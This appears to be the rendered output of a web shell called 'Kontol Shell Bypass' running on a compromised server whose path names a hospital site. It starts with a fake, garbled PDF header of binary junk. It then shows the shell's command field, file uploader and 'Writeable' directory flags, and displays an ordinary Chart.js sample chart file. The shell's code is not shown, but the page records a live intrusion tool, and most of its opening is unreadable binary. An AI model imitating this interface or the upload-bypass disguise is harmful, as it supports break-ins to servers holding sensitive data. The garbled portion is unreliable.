%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/lp/hospital-lms/bower_components/chart.js/samples/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //var/www/html/shardahospital_old.org/lp/hospital-lms/bower_components/chart.js/samples/line.html
<!doctype html>
<html>
	<head>
		<title>Line Chart</title>
		<script src="../Chart.js"></script>
	</head>
	<body>
		<div style="width:30%">
			<div>
				<canvas id="canvas" height="450" width="600"></canvas>
			</div>
		</div>


	<script>
		var randomScalingFactor = function(){ return Math.round(Math.random()*100)};
		var lineChartData = {
			labels : ["January","February","March","April","May","June","July"],
			datasets : [
				{
					label: "My First dataset",
					fillColor : "rgba(220,220,220,0.2)",
					strokeColor : "rgba(220,220,220,1)",
					pointColor : "rgba(220,220,220,1)",
					pointStrokeColor : "#fff",
					pointHighlightFill : "#fff",
					pointHighlightStroke : "rgba(220,220,220,1)",
					data : [randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor()]
				},
				{
					label: "My Second dataset",
					fillColor : "rgba(151,187,205,0.2)",
					strokeColor : "rgba(151,187,205,1)",
					pointColor : "rgba(151,187,205,1)",
					pointStrokeColor : "#fff",
					pointHighlightFill : "#fff",
					pointHighlightStroke : "rgba(151,187,205,1)",
					data : [randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor(),randomScalingFactor()]
				}
			]

		}

	window.onload = function(){
		var ctx = document.getElementById("canvas").getContext("2d");
		window.myLine = new Chart(ctx).Line(lineChartData, {
			responsive: true
		});
	}


	</script>
	</body>
</html>

Kontol Shell Bypass